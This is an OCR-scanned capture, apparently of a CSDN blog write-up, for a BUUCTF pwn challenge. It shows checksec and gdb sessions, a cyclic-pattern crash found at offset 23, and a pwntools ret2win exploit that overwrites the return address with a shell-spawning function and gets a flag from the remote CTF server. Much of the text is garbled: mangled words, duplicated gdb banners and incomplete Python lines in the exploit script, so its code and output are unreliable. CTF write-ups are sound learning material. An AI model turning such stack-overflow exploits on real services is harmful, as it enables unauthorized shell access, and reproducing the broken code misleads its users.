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wby@wby-virtual-machine:~/Desktop/BUUCTF/Pwn$ file pwnl
pwnl: ELF 64-bit LSB executable ) 64, version 1 (SYSV), dynamically linked, i
nterpreter /lib64/1, for GNU}LLnux 3.2.0, BuildiD[shal]=1c72ddcad651c7f35bb655e0
ddda5ecbf8d31999, not stripped
wby@wby-virtual-machine:~/Desktop/BUUCTF/Pwn$ checksec pwnil
[*] Checking for new versions of pwntools

To disable this functionality, set the contents of fhome/wby/.pwntools-cache
Jupdate to 'never'.
[#*] You have the latest wversion of Pwntools (3.14.0.dev@)
[*] '/home/wby/Desktop/BUUCTF/Pwn/pwnl’

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack:

NX:

:ii; hitps://blog.csdn.net/m0

Bt AP B ELF 64301 .

#ENIDA x64, F5

int fun()
{
return system("/bin/sh");

==

Copyright (C) 2018 Free .oftware Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later nhttp:f}gnu.org}licen5&5fgpl.htm1>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86 64-linux-gnu".



https://blog.csdn.net/m0_38100569
https://blog.csdn.net/m0_38100569/category_9198618.html
https://so.csdn.net/so/search/s.do?q=Writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Pwn&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_38100569/article/details/99695121
https://blog.csdn.net/m0_38100569/category_9198618.html

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/=.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./pwnl...(no debugging symbols found)...done.

pattern create 200
'AAAKAASAABAASAANAACAA-AA(AADAA; AA)AAEARAAADAAFAADAATIAAGAACAAZAAHAADAASAATAACAAY
AAJAATAASAAKAAQAAGAALAARAATAAMAATAABAANAA JAASAAOAAKAAPAATAAQAAMAARAADAASAADAATAL
qQAAUAATAAVAATAAWAAUAAXAAVAAY ARWAAZAAXAAYA'

r
Starting program: /home/wby/Desktop/BUUCTF/Pwn/pwnil
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wby@wby-virtual-machine:~/Desktop/BUUCTF/Pwn$ gdb ./pwnl

GNU gdb (Ubuntu 8.2-Bubuntul~16.84.1) 8.2

Copyright (C) 2018 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/flicenses/gpl.html=

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and "show warranty" for details.

This GDB was configured as "x86_64-1linux-gnu"

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/=.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Reading symbols from ./pwnl...(no debugging symbols found)...done.

pattern create 200
'AAAKAASAABAASAANAACAA-AA(AADAA; AA)AAEARSAADAAFAADAATIAAGAACAAZAAHAADAASAATAACAAS
AAJAATAASAAKAAQAAGAALAARAATAAMAALAABAANAAJAAIAADAAKAAPAALAAQAAMAARAAOAASAADAATAR
qAAUAATAAVAATAAWAAUAAXAAVAAYARWAAZAAXAAYA'

r
Starting program: /fhome/wby/Desktop/BUUCTF/Pwn/pwni

e hitps://blog.csdn.net/m0_38100569

AAA%AASAABAASAANAACAA-AA(AADAA; AA)AAEAASAADAAFAADAATIAAGAACAAZ ARHAADAASAATAACAALL
AJAATAASAAKAAQAAGAALAARAATAAMAALAABAANAA JAASAADAAKAAPAATAAQAAMAARAADAASAAPAATAAG
AAUAATAAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYA

AAA%AASAABAASAANAACAA-AA(AADAA; AA)AAEAASAADAAFAADAATIAAGAACAAZ ARHAADAASAATAACAALL
AJAATAASAAKAAQAAGAALAARAATAAMAALAABAANAA JAASAADAAKAAPAATAAQAAMAARAADAASAAPAATAAG
AAUAATAAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYA

ok,bye!!!

Program received signal SIGSEGY, Segmentation fault.

(<__GI__ libc_write+20=>: cmp rax,oxfrfffffffffffeon)
--> QX0
("ok ,byel 1 1\nAASAANAACAA-AA(AADAA; AA)AAEAASAADAAFAADAATAAGAACAAZAA
HﬁAdAﬁ3ﬁAIAﬁeﬁA4AﬁJﬁAfAﬁSﬁAKAﬁgﬁﬁﬁﬁﬁLAﬁhﬁA?AﬁMﬁAIAﬁBﬁANAﬁ]ﬁA9AﬁDﬁAkAﬁPﬁA1AﬁQﬁANA
ARAAOAASAAPAATAAQAAUAATAAVAATAAWAAUAAXAAVAAYAAWARZAAXAAYA" ... )
: Ox0
: 0x412d41414341416e ('NAACAA-A") https://blog.csdn.net/m0 38100569
. "A(AADAA ; AA)AAEARAAAABAAFAADAATIAAGAACAAZAAHAADAASAATAAcAASAA




0000 | ("A(AADAA; AA) AAEAASAABAAFAADAATAAGAACAA2AAHAADAASAATAACAASA
AJAAFAASAAKAAGAAGAALAAhAATAAMAATAABAANAA JAAOAAOAAKAAPAATAAQAAMAARAAOAASAAPAATAAG
AAUAATAAVAAtAAWAAUAAXAAVAAYAAWAAZAAXAAYA™ )

0008 | ("AA)AAEAAQAABAAFAADAATAAGAACAA2AAHAADAASAATAACAAGAATAAFAAS
AAKAAGAAGAALAAhAATAAMAATAABAANAA jAAOAAOAAKAAPAATAAQAAMAARAAOAASAAPAATAAGAAUAATAA
VAAtAAWAAUAAXAAVAAYAAWAAZAAXAAYA™ )

0016 (" aAABAAFAADAATAAGAACAA2AAHAADAASAATAACAAGAATAAFAASAAKAAGAA
6AALAAhAATAAMAALAABAANAA JAAOAAOAAKAAPAALAAQAAMAARAACAASAAPAATAAGAAUAA T AAVAALAAWA
AUAAXAAVAAYAAWAAZAAXAAYA™ )

0024 ("AbAA1AAGAACAA2AAHAADAASAATAACAAGAATAAFAASAAKAAGAAGAALAADA
A7AAMAATAABAANAA jAAIAAOAAKAAPAATAAQAAMAARAAOAASAAPAATAAGAAUAATAAVAA tAAWAAUAAXAAY
AAYAAWAAZAAXAAYA™ )

0032 ("AACAA2AAHAADAA3AATAACAAGAATAAFAASAAKAAGAAGAALAARAATAAMAAL
AABAANAA jAA9AAOAAKAAPAATAAQAAMAARAAOAASAAPAATAAGAAUAATAAVAAtAAWAAUAAXAAVAAY AAWAA
ZAAXAAYA™)

0040 | ( "HAADAAZAATAAeAA4AATAAFAASAAKAAGAAGAALAARAATAAMAALAABAANAA
JAA9AAOAAKAAPAATAAQAAMAARAAOAASAAPAATAAGAAUAATAAVAAAAWAAUAAXAAVAAYAAWAAZ AAXAAYA
")

0048| ("AIAAeAA4AATAAFAASAAKAAGAAGAALAARAATAAMAALAABAANAA JAASAADA
AkAAPAATAAQAAMAARAAOAASAAPAATAAGAAUAATAAVAAtAAWAAUAAXAAVAAYAAWAAZAAXAAYA™ )

0056 (" AAJAATAASAAKAAGAAGAALAAhAATAAMAATAABAANAA JAA9AADAAKAAPAAL
AAQAAMAARAACAASAAPAATAAGAAUAAT AAVAA LAAWAAUAAXAAVAAY ARIRRZRIGEASHHet/m0_38100569

pattern offset A(AA
A(AA found at offset: 23

B W 223,
PLAERE T LS 78 2 RIPPT funi BLEXP T .

0x02 EXP

from pwn import

def isDebug(debug):
global io
if debug:
io process(
else:

io remote(

pwn () :

offset 23

payload offset
funAddr 0x401186
payload p64 (funAddr)
io.sendline(payload)

io.interactive()

if _ name__
isDebug(®@)
pwn ()




KEflag:

wby@wby-virtual-machine:~/Desktop/BUUCTF/PwnS python myexp.py

[+] Opening connection to pwn.buuoj.cn on port 6001: Done
[*] Switching to interactive mode

flag{8ebc9475-b258-4d49-9493-7646a6cf2acc}

Got EOF while reading in interactive
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